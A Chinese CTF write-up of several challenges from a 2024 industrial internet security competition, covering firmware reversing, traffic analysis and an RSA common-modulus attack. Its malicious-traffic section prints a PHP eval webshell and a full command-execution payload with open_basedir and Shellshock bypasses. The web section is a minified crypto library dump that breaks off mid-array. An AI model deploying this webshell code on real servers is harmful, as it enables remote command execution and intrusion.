2024中国工业互联网安全大赛智能家电行业赛道 writeup by Mini-Venom

IOT

BLE协议分析

直接binwalk，逆向libc.so，看到flag字符串拉出来异或0x13即可：

ICS

异常工控流量

发现有图片，筛选一下对话    

发现每个会话中传输数据时会有26个字符的冗余数据，我们剔除一下

def remove_first_26_characters_from_file(input_file, output_file):              
    with open(input_file, 'r', encoding='utf-8') as infile, open(output_file, 'w', encoding='utf-8') as outfile:              
        for line in infile:              
            if len(line) > 26:              
                outfile.write(line[26:])              
            else:              
                outfile.write("n")              
             
input_file = '1.txt'              
output_file = '2.txt'              
remove_first_26_characters_from_file(input_file, output_file)

删除换行后保存，但其实这个里面有5张图片，    

所以我们还要foremost处理一下：

IEC104规约

看到ASCII码，直接手撕即可：    

Crypto

RSA基础

共模攻击，exp：

c1 =282705666501444854624030335843070278110513999208659624119132353417421877320974174726185723115883739375603575539776684289142842081107540752217713310938886388438765148683666503760319981604000841079147612861242547174901151960326185178594145796272575965121308396667074309893237298402981092205251435016486788355557005100976024481986488241332897816063646036029173817781914329777829              
c2 =19779823413362200485724149034181018999410626485138088903284373558580616789569485657574219218963582906498915197615166461344813005314601583353879854456996384771611224182224314328699916590207979217040630122659016196173896894143014133285344419385684770427047708769088078011203493463005336960259880317647033975742421041071189257432803790499356057590994991391605641521779836861778658020794054290457012449182530332757413136817938054644562477837440962036207078499430458903340248503943892760759128605500003626883373592832713373873793856007995860587980373325336088814954403731749322597283094105727377495665913500828541311250125              
n = 24866250804505220218021129477484568516463472283723642072878571290335870619105804830823116205886290964965394872910452503069396984759129562070393515671275407311508237739944634226857150890458268632605358633616031418076608519871923398298948052896198945015398352362000371666214905121198052253192761994934148606149933191728295444634540686915579254197309033452299738379299252926144007809221771616214106556442176944539578493279760907351585075298726128493600470601333121139581042597139052755429088012111156725917525172320925107023532695431754652983139199688263292810675849198042528240794130276172752316953055879930331587217697              
e1 = 3              
e2 = 17              
g,r,s = gmpy2.gcdext(e1, e2)              
m = pow(c1, r , n) * pow(c2, s, n) % n              
m = iroot(m,g)[0]              
print(long_to_bytes(m))    

MISC

恶意流量分析

先分析第一个shell：          

header("HTTP/1.1 404 Not Found");                
foreach($_POST as $k => $v){$_POST[$k]=@pack("H*", $v);}                
ob_start();                
@eval($_POST['ant']);                
$output = ob_get_clean();                
echo base64_encode($output);                
?>

传参ant

@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.6490fca760";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\|//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return @base64_encode($out);};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "486"."62e2";echo @asenc($output);echo "8810"."3adb5";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}    ";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.=" ";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="   {$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();

和蚁剑差不多，返回包删掉前后添加的多余字符解密一下    

下一个流有新的shell

@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.b5458";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\|//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return @base64_encode($out);};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "1518c"."d5b0d";echo @asenc($output);echo "1c61"."78f7";}ob_start();try{$p=base64_decode(substr($_POST["protocol"],10));$s=base64_decode(substr($_POST["source"],10));$envstr=@base64_decode(substr($_POST["declaring"],10));$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c "{$s}"":"/c "{$s}"";if(substr($d,0,1)=="/"){@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");}else{@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");}if(!empty($envstr)){$envarr=explode("|||asline|||", $envstr);foreach($envarr as $v) {if (!empty($v)) {@putenv(str_replace("|||askey|||", "=", $v));}}}$r="{$p} {$c}";function fe($f){$d=explode(",",@ini_get("disable_functions"));if(empty($d)){$d=array();}else{$d=array_map('trim',array_map('strtolower',$d));}return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));};function runshellshock($d, $c) {if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {if (strstr(readlink("/bin/sh"), "bash") != FALSE) {$tmp = tempnam(sys_get_temp_dir(), 'as');putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");if (fe('error_log')) {error_log("a", 1);} else {mail("[email protected]", "", "", "-bv");}} else {return False;}$output = @file_get_contents($tmp);@unlink($tmp);if ($output != "") {print($output);return True;}}return False;};function runcmd($c){$ret=0;$d=dirname($_SERVER["SCRIPT_FILENAME"]);if(fe('system')){@system($c,$ret);}elseif(fe('passthru')){@passthru($c,$ret);}elseif(fe('shell_exec')){print(@shell_exec($c));}elseif(fe('exec')){@exec($c,$o,$ret);print(join("
",$o));}elseif(fe('popen')){$fp=@popen($c,'r');while(!@feof($fp)){print(@fgets($fp,2048));}@pclose($fp);}elseif(fe('proc_open')){$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);while(!@feof($io[1])){print(@fgets($io[1],2048));}while(!@feof($io[2])){print(@fgets($io[2],2048));}@fclose($io[1]);@fclose($io[2]);@proc_close($p);}elseif(fe('antsystem')){@antsystem($c);}elseif(runshellshock($d, $c)) {return $ret;}elseif(substr($d,0,1)!="/" && @class_exists("COM")){$w=new COM('WScript.shell');$e=$w->exec($c);$so=$e->StdOut();$ret.=$so->ReadAll();$se=$e->StdErr();$ret.=$se->ReadAll();print($ret);}else{$ret = 127;}return $ret;};$ret=@runcmd($r." 2>&1");print ($ret!=0)?"ret={$ret}":"";;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();

也有了新的参数procotl source等，然后追一下逐个解密，发现把flag通过这些参数写到了flag.txt中，找到有flag.txt所在的流量包，剔除前面多余字符解密即可

flag{D4572AA3A3D97DDEABD52DF47DA3AD0F}

WEB

应用逻辑异常

!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U||function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create||function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init||(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();return t.init.apply(t,arguments),t},init:function(){},mixIn:function(t){for(var e in t)t.hasOwnProperty(e)&&(this[e]=t[e]);t.hasOwnProperty("toString")&&(this.toString=t.toString)},clone:function(){return this.init.prototype.extend(this)}},l=n.WordArray=o.extend({init:function(t,e){t=this.words=t||[],this.sigBytes=null!=e?e:4*t.length},toString:function(t){return(t||c).stringify(this)},concat:function(t){var e=this.words,r=t.words,i=this.sigBytes,n=t.sigBytes;if(this.clamp(),i%4)for(var o=0;o<n;o++){var s=r[o>>>2]>>>24-o%4*8&255;e[i+o>>>2]|=s<<24-(i+o)%4*8}else for(var c=0;c<n;c+=4)e[i+c>>>2]=r[c>>>2];return this.sigBytes+=n,this},clamp:function(){var t=this.words,e=this.sigBytes;t[e>>>2]&=4294967295<<32-e%4*8,t.length=h.ceil(e/4)},clone:function(){var t=o.clone.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBytes)try{return i.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")}());return new l.init(e,t)}}),s=t.enc={},c=s.Hex={stringify:function(t){for(var e=t.words,r=t.sigBytes,i=[],n=0;n<r;n++){var o=e[n>>>2]>>>24-n%4*8&255;i.push((o>>>4).toString(16)),i.push((15&o).toString(16))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i<e;i+=2)r[i>>>3]|=parseInt(t.substr(i,2),16)<<24-i%8*4;return new l.init(r,e/2)}},a=s.Latin1={stringify:function(t){for(var e=t.words,r=t.sigBytes,i=[],n=0;n<r;n++){var o=e[n>>>2]>>>24-n%4*8&255;i.push(String.fromCharCode(o))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i<e;i++)r[i>>>2]|=(255&t.charCodeAt(i))<<24-i%4*8;return new l.init(r,e)}},f=s.Utf8={stringify:function(t){try{return decodeURIComponent(escape(a.stringify(t)))}catch(t){throw new Error("Malformed UTF-8 data")}},parse:function(t){return a.parse(unescape(encodeURIComponent(t)))}},d=n.BufferedBlockAlgorithm=o.extend({reset:function(){this._data=new l.init,this._nDataBytes=0},_append:function(t){"string"==typeof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4*o),c=(s=t?h.ceil(s):h.max((0|s)-this._minBufferSize,0))*o,n=h.min(4*c,n);if(c){for(var a=0;a<c;a+=o)this._doProcessBlock(i,a);e=i.splice(0,c),r.sigBytes-=n}return new l.init(e,n)},clone:function(){var t=o.clone.call(this);return t._data=this._data.clone(),t},_minBufferSize:0}),u=(n.Hasher=d.extend({cfg:o.extend(),init:function(t){this.cfg=this.cfg.extend(t),this.reset()},reset:function(){d.reset.call(this),this._doReset()},update:function(t){return this._append(t),this._process(),this},finalize:function(t){return t&&this._append(t),this._doFinalize()},blockSize:16,_createHelper:function(r){return function(t,e){return new r.init(e).finalize(t)}},_createHmacHelper:function(r){return function(t,e){return new u.HMAC.init(r,e).finalize(t)}}}),t.algo={});return t}(Math);function K(t,e,r){return t&e|~t&r}function X(t,e,r){return t&r|e&~r}function L(t,e){return t<<e|t>>>32-e}function j(t,e,r,i){var n,o=this._iv;o?(n=o.slice(0),this._iv=void 0):n=this._prevBlock,i.encryptBlock(n,0);for(var s=0;s<r;s++)t[e+s]^=n[s]}function T(t){var e,r,i;return 255==(t>>24&255)?(r=t>>8&255,i=255&t,255===(e=t>>16&255)?(e=0,255===r?(r=0,255===i?i=0:++i):++r):++e,t=0,t+=e<<16,t+=r<<8,t+=i):t+=1<<24,t}function N(){for(var t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>>0?1:0)|0,e[5]=e[5]+886263092+(e[4]>>>0<E[4]>>>0?1:0)|0,e[6]=e[6]+1295307597+(e[5]>>>0<E[5]>>>0?1:0)|0,e[7]=e[7]+3545052371+(e[6]>>>0<E[6]>>>0?1:0)|0,this._b=e[7]>>>0<E[7]>>>0?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;R[r]=((n*n>>>17)+n*o>>>15)+o*o^((4294901760&i)*i|0)+((65535&i)*i|0)}t[0]=R[0]+(R[7]<<16|R[7]>>>16)+(R[6]<<16|R[6]>>>16)|0,t[1]=R[1]+(R[0]<<8|R[0]>>>24)+R[7]|0,t[2]=R[2]+(R[1]<<16|R[1]>>>16)+(R[0]<<16|R[0]>>>16)|0,t[3]=R[3]+(R[2]<<8|R[2]>>>24)+R[1]|0,t[4]=R[4]+(R[3]<<16|R[3]>>>16)+(R[2]<<16|R[2]>>>16)|0,t[5]=R[5]+(R[4]<<8|R[4]>>>24)+R[3]|0,t[6]=R[6]+(R[5]<<16|R[5]>>>16)+(R[4]<<16|R[4]>>>16)|0,t[7]=R[7]+(R[6]<<8|R[6]>>>24)+R[5]|0}function q(){for(var t=this._X,e=this._C,r=0;r<8;r++)O[r]=e[r];e[0]=e[0]+1295307597+this._b|0,e[1]=e[1]+3545052371+(e[0]>>>0<O[0]>>>0?1:0)|0,e[2]=e[2]+886263092+(e[1]>>>0<O[1]>>>0?1:0)|0,e[3]=e[3]+1295307597+(e[2]>>>0<O[2]>>>0?1:0)|0,e[4]=e[4]+3545052371+(e[3]>>>0<O[3]>>>0?1:0)|0,e[5]=e[5]+886263092+(e[4]>>>0<O[4]>>>0?1:0)|0,e[6]=e[6]+1295307597+(e[5]>>>0<O[5]>>>0?1:0)|0,e[7]=e[7]+3545052371+(e[6]>>>0<O[6]>>>0?1:0)|0,this._b=e[7]>>>0<O[7]>>>0?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((n*n>>>17)+n*o>>>15)+o*o^((4294901760&i)*i|0)+((65535&i)*i|0)}t[0]=I[0]+(I[7]<<16|I[7]>>>16)+(I[6]<<16|I[6]>>>16)|0,t[1]=I[1]+(I[0]<<8|I[0]>>>24)+I[7]|0,t[2]=I[2]+(I[1]<<16|I[1]>>>16)+(I[0]<<16|I[0]>>>16)|0,t[3]=I[3]+(I[2]<<8|I[2]>>>24)+I[1]|0,t[4]=I[4]+(I[3]<<16|I[3]>>>16)+(I[2]<<16|I[2]>>>16)|0,t[5]=I[5]+(I[4]<<8|I[4]>>>24)+I[3]|0,t[6]=I[6]+(I[5]<<16|I[5]>>>16)+(I[4]<<16|I[4]>>>16)|0,t[7]=I[7]+(I[6]<<8|I[6]>>>24)+I[5]|0}return F=(M=U).lib,n=F.Base,o=F.WordArray,(M=M.x64={}).Word=n.extend({init:function(t,e){this.high=t,this.low=e}}),M.WordArray=n.extend({init:function(t,e){t=this.words=t||[],this.sigBytes=null!=e?e:8*t.length},toX32:function(){for(var t=this.words,e=t.length,r=[],i=0;i<e;i++){var n=t[i];r.push(n.high),r.push(n.low)}return o.create(r,this.sigBytes)},clone:function(){for(var t=n.clone.call(this),e=t.words=this.words.slice(0),r=e.length,i=0;i<r;i++)e[i]=e[i].clone();return t}}),"function"==typeof ArrayBuffer&&(P=U.lib.WordArray,s=P.init,(P.init=function(t){if((t=(t=t instanceof ArrayBuffer?new Uint8Array(t):t)instanceof Int8Array||"undefined"!=typeof Uint8ClampedArray&&t instanceof Uint8ClampedArray||t instanceof Int16Array||t instanceof Uint16Array||t instanceof Int32Array||t instanceof Uint32Array||t instanceof Float32Array||t instanceof Float64Array?new Uint8Array(t.buffer,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:function(t){for(var e=t.words,r=t.sigBytes,i=[],n=0;n<r;n+=2){var o=e[n>>>2]>>>16-n%4*8&65535;i.push(String.fromCharCode(o))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i<e;i++)r[i>>>1]|=t.charCodeAt(i)<<16-i%2*16;return n.create(r,2*e)}};function s(t){return t<<8&4278255360|t>>>8&16711935}t.Utf16LE={stringify:function(t){for(var e=t.words,r=t.sigBytes,i=[],n=0;n<r;n+=2){var o=s(e[n>>>2]>>>16-n%4*8&65535);i.push(String.fromCharCode(o))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i<e;i++)r[i>>>1]|=s(t.charCodeAt(i)<<16-i%2*16);return n.create(r,2*e)}}}(),a=(w=U).lib.WordArray,w.enc.Base64={stringify:function(t){var e=t.words,r=t.sigBytes,i=this._map;t.clamp();for(var n=[],o=0;o<r;o+=3)for(var s=(e[o>>>2]>>>24-o%4*8&255)<<16|(e[o+1>>>2]>>>24-(o+1)%4*8&255)<<8|e[o+2>>>2]>>>24-(o+2)%4*8&255,c=0;c<4&&o+.75*c<r;c++)n.push(i.charAt(s>>>6*(3-c)&63));var a=i.charAt(64);if(a)for(;n.length%4;)n.push(a);return n.join("")},parse:function(t){var e=t.length,r=this._map;if(!(i=this._reverseMap))for(var i=this._reverseMap=[],n=0;n<r.length;n++)i[r.charCodeAt(n)]=n;var o=r.charAt(64);return!o||-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%4*2,c=r[t.charCodeAt(o)]>>>6-o%4*2,c=s|c,i[n>>>2]|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="},h=(F=U).lib.WordArray,F.enc.Base64url={stringify:function(t,e=!0){var r=t.words,i=t.sigBytes,n=e?this._safe_map:this._map;t.clamp();for(var o=[],s=0;s<i;s+=3)for(var c=(r[s>>>2]>>>24-s%4*8&255)<<16|(r[s+1>>>2]>>>24-(s+1)%4*8&255)<<8|r[s+2>>>2]>>>24-(s+2)%4*8&255,a=0;a<4&&s+.75*a<i;a++)o.push(n.charAt(c>>>6*(3-a)&63));var h=n.charAt(64);if(h)for(;o.length%4;)o.push(h);return o.join("")},parse:function(t,e=!0){var r=t.length,i=e?this._safe_map:this._map;if(!(n=this._reverseMap))for(var n=this._reverseMap=[],o=0;o<i.length;o++)n[i.charCodeAt(o)]=o;e=i.charAt(64);return!e||-1!==(e=t.indexOf(e))&&(r=e),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%4*2,c=r[t.charCodeAt(o)]>>>6-o%4*2,c=s|c,i[n>>>2]|=c<<24-n%4*8,n++)}return h.create(i,n)}(t,r,n)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",_safe_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"},function(a){var t=U,e=t.lib,r=e.WordArray,i=e.Hasher,e=t.algo,A=[];!function(){for(var t=0;t<64;t++)A[t]=4294967296*a.abs(a.sin(t+1))|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8|n>>>24)|4278255360&(n<<24|n>>>8)}var o=this._hash.words,s=t[e+0],c=t[e+1],a=t[e+2],h=t[e+3],l=t[e+4],f=t[e+5],d=t[e+6],u=t[e+7],p=t[e+8],_=t[e+9],y=t[e+10],v=t[e+11],g=t[e+12],B=t[e+13],w=t[e+14],k=t[e+15],m=H(m=o[0],b=o[1],x=o[2],S=o[3],s,7,A[0]),S=H(S,m,b,x,c,12,A[1]),x=H(x,S,m,b,a,17,A[2]),b=H(b,x,S,m,h,22,A[3]);m=H(m,b,x,S,l,7,A[4]),S=H(S,m,b,x,f,12,A[5]),x=H(x,S,m,b,d,17,A[6]),b=H(b,x,S,m,u,22,A[7]),m=H(m,b,x,S,p,7,A[8]),S=H(S,m,b,x,_,12,A[9]),x=H(x,S,m,b,y,17,A[10]),b=H(b,x,S,m,v,22,A[11]),m=H(m,b,x,S,g,7,A[12]),S=H(S,m,b,x,B,12,A[13]),x=H(x,S,m,b,w,17,A[14]),m=z(m,b=H(b,x,S,m,k,22,A[15]),x,S,c,5,A[16]),S=z(S,m,b,x,d,9,A[17]),x=z(x,S,m,b,v,14,A[18]),b=z(b,x,S,m,s,20,A[19]),m=z(m,b,x,S,f,5,A[20]),S=z(S,m,b,x,y,9,A[21]),x=z(x,S,m,b,k,14,A[22]),b=z(b,x,S,m,l,20,A[23]),m=z(m,b,x,S,_,5,A[24]),S=z(S,m,b,x,w,9,A[25]),x=z(x,S,m,b,h,14,A[26]),b=z(b,x,S,m,p,20,A[27]),m=z(m,b,x,S,B,5,A[28]),S=z(S,m,b,x,a,9,A[29]),x=z(x,S,m,b,u,14,A[30]),m=C(m,b=z(b,x,S,m,g,20,A[31]),x,S,f,4,A[32]),S=C(S,m,b,x,p,11,A[33]),x=C(x,S,m,b,v,16,A[34]),b=C(b,x,S,m,w,23,A[35]),m=C(m,b,x,S,c,4,A[36]),S=C(S,m,b,x,l,11,A[37]),x=C(x,S,m,b,u,16,A[38]),b=C(b,x,S,m,y,23,A[39]),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,A[50]),b=D(b,x,S,m,f,21,A[51]),m=D(m,b,x,S,g,6,A[52]),S=D(S,m,b,x,h,10,A[53]),x=D(x,S,m,b,y,15,A[54]),b=D(b,x,S,m,c,21,A[55]),m=D(m,b,x,S,p,6,A[56]),S=D(S,m,b,x,k,10,A[57]),x=D(x,S,m,b,d,15,A[58]),b=D(b,x,S,m,B,21,A[59]),m=D(m,b,x,S,l,6,A[60]),S=D(S,m,b,x,v,10,A[61]),x=D(x,S,m,b,a,15,A[62]),b=D(b,x,S,m,_,21,A[63]),o[0]=o[0]+m|0,o[1]=o[1]+b|0,o[2]=o[2]+x|0,o[3]=o[3]+S|0},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;e[i>>>5]|=128<<24-i%32;var n=a.floor(r/4294967296),r=r;e[15+(64+i>>>9<<4)]=16711935&(n<<8|n>>>24)|4278255360&(n<<24|n>>>8),e[14+(64+i>>>9<<4)]=16711935&(r<<8|r>>>24)|4278255360&(r<<24|r>>>8),t.sigBytes=4*(e.length+1),this._process();for(var e=this._hash,o=e.words,s=0;s<4;s++){var c=o[s];o[s]=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8)}return e},clone:function(){var t=i.clone.call(this);return t._hash=this._hash.clone(),t}});function H(t,e,r,i,n,o,s){s=t+(e&r|~e&i)+n+s;return(s<<o|s>>>32-o)+e}function z(t,e,r,i,n,o,s){s=t+(e&i|r&~i)+n+s;return(s<<o|s>>>32-o)+e}function C(t,e,r,i,n,o,s){s=t+(e^r^i)+n+s;return(s<<o|s>>>32-o)+e}function D(t,e,r,i,n,o,s){s=t+(r^(e|~i))+n+s;return(s<<o|s>>>32-o)+e}t.MD5=i._createHelper(e),t.HmacMD5=i._createHmacHelper(e)}(Math),P=(M=U).lib,t=P.WordArray,e=P.Hasher,P=M.algo,l=[],P=P.SHA1=e.extend({_doReset:function(){this._hash=new t.init([1732584193,4023233417,2562383102,271733878,3285377520])},_doProcessBlock:function(t,e){for(var r=this._hash.words,i=r[0],n=r[1],o=r[2],s=r[3],c=r[4],a=0;a<80;a++){a<16?l[a]=0|t[e+a]:(h=l[a-3]^l[a-8]^l[a-14]^l[a-16],l[a]=h<<1|h>>>31);var h=(i<<5|i>>>27)+c+l[a];h+=a<20?1518500249+(n&o|~n&s):a<40?1859775393+(n^o^s):a<60?(n&o|n&s|o&s)-1894007588:(n^o^s)-899497514,c=s,s=o,o=n<<30|n>>>2,n=i,i=h}r[0]=r[0]+i|0,r[1]=r[1]+n|0,r[2]=r[2]+o|0,r[3]=r[3]+s|0,r[4]=r[4]+c|0},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;return e[i>>>5]|=128<<24-i%32,e[14+(64+i>>>9<<4)]=Math.floor(r/4294967296),e[15+(64+i>>>9<<4)]=r,t.sigBytes=4*e.length,this._process(),this._hash},clone:function(){var t=e.clone.call(this);return t._hash=this._hash.clone(),t}}),M.SHA1=e._createHelper(P),M.HmacSHA1=e._createHmacHelper(P),function(n){var t=U,e=t.lib,r=e.WordArray,i=e.Hasher,e=t.algo,o=[],p=[];!function(){function t(t){return 4294967296*(t-(0|t))|0}for(var e=2,r=0;r<64;)!function(t){for(var e=n.sqrt(t),r=2;r<=e;r++)if(!(t%r))return;return 1}(e)||(r<8&&(o[r]=t(n.pow(e,.5))),p[r]=t(n.pow(e,1/3)),r++),e++}();var _=[],e=e.SHA256=i.extend({_doReset:function(){this._hash=new r.init(o.slice(0))},_doProcessBlock:function(t,e){for(var r=this._hash.words,i=r[0],n=r[1],o=r[2],s=r[3],c=r[4],a=r[5],h=r[6],l=r[7],f=0;f<64;f++){f<16?_[f]=0|t[e+f]:(d=_[f-15],u=_[f-2],_[f]=((d<<25|d>>>7)^(d<<14|d>>>18)^d>>>3)+_[f-7]+((u<<15|u>>>17)^(u<<13|u>>>19)^u>>>10)+_[f-16]);var d=i&n^i&o^n&o,u=l+((c<<26|c>>>6)^(c<<21|c>>>11)^(c<<7|c>>>25))+(c&a^~c&h)+p[f]+_[f],l=h,h=a,a=c,c=s+u|0,s=o,o=n,n=i,i=u+(((i<<30|i>>>2)^(i<<19|i>>>13)^(i<<10|i>>>22))+d)|0}r[0]=r[0]+i|0,r[1]=r[1]+n|0,r[2]=r[2]+o|0,r[3]=r[3]+s|0,r[4]=r[4]+c|0,r[5]=r[5]+a|0,r[6]=r[6]+h|0,r[7]=r[7]+l|0},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;return e[i>>>5]|=128<<24-i%32,e[14+(64+i>>>9<<4)]=n.floor(r/4294967296),e[15+(64+i>>>9<<4)]=r,t.sigBytes=4*e.length,this._process(),this._hash},clone:function(){var t=i.clone.call(this);return t._hash=this._hash.clone(),t}});t.SHA256=i._createHelper(e),t.HmacSHA256=i._createHmacHelper(e)}(Math),r=(w=U).lib.WordArray,F=w.algo,i=F.SHA256,F=F.SHA224=i.extend({_doReset:function(){this._hash=new r.init([3238371032,914150663,812702999,4144912697,4290775857,1750603025,1694076839,3204075428])},_doFinalize:function(){var t=i._doFinalize.call(this);return t.sigBytes-=4,t}}),w.SHA224=i._createHelper(F),w.HmacSHA224=i._createHmacHelper(F),function(){var t=U,e=t.lib.Hasher,r=t.x64,i=r.Word,n=r.WordArray,r=t.algo;function o(){return i.create.apply(i,arguments)}var t1=[o(1116352408,3609767458),o(1899447441,602891725),o(3049323471,3964484399),o(3921009573,2173295548),o(961987163,4081628472),o(1508970993,3053834265),o(2453635748,2937671579),o(2870763221,3664609560),o(3624381080,2734883394),o(310598401,1164996542),o(607225278,1323610764),o(1426881987,3590304994),o(1925078388,4068182383),o(2162078206,991336113),o(2614888103,633803317),o(3248222580,3479774868),o(3835390401,2666613458),o(4022224774,944711139),o(264347078,2341262773),o(604807628,2007800933),o(770255983,1495990901),o(1249150122,1856431235),o(1555081692,3175218132),o(1996064986,2198950837),o(2554220882,3999719339),o(2821834349,766784016),o(2952996808,2566594879),o(3210313671,3203337956),o(3336571891,1034457026),o(3584528711,2466948901),o(113926993,3758326383),o(338241895,168717936),o(666307205,1188179964),o(773529912,1546045734),o(1294757372,1522805485),o(1396182291,2643833823),o(1695183700,2343527390),o(1986661051,1014477480),o(2177026350,1206759142),o(2456956037,344077627),o(2730485921,1290863460),o(2820302411,3158454273),o(3259730800,3505952657),o(3345764771,106217008),o(3516065817,3606008344),o(3600352804,1432725776),o(4094571909,1467031594),o(275423344,851169720),o(430227734,3100823752),o(506948616,1363258195),o(659060556,3750685593),o(883997877,3785050280),o(958139571,3318307427),o(1322822218,3812723403),o(1537002063,2003034995),o(1747873779,3602036899),o(1955562222,1575990012),o(2024104815,1125592928),o(2227730452,2716904306),o(2361852424,442776044),o(2428436474,593698344),o(2756734187,3733110249),o(3204031479,2999351573),o(3329325298,3815920427),o(3391569614,3928383900),o(3515267271,566280711),o(3940187606,3454069534),o(4118630271,4000239992),o(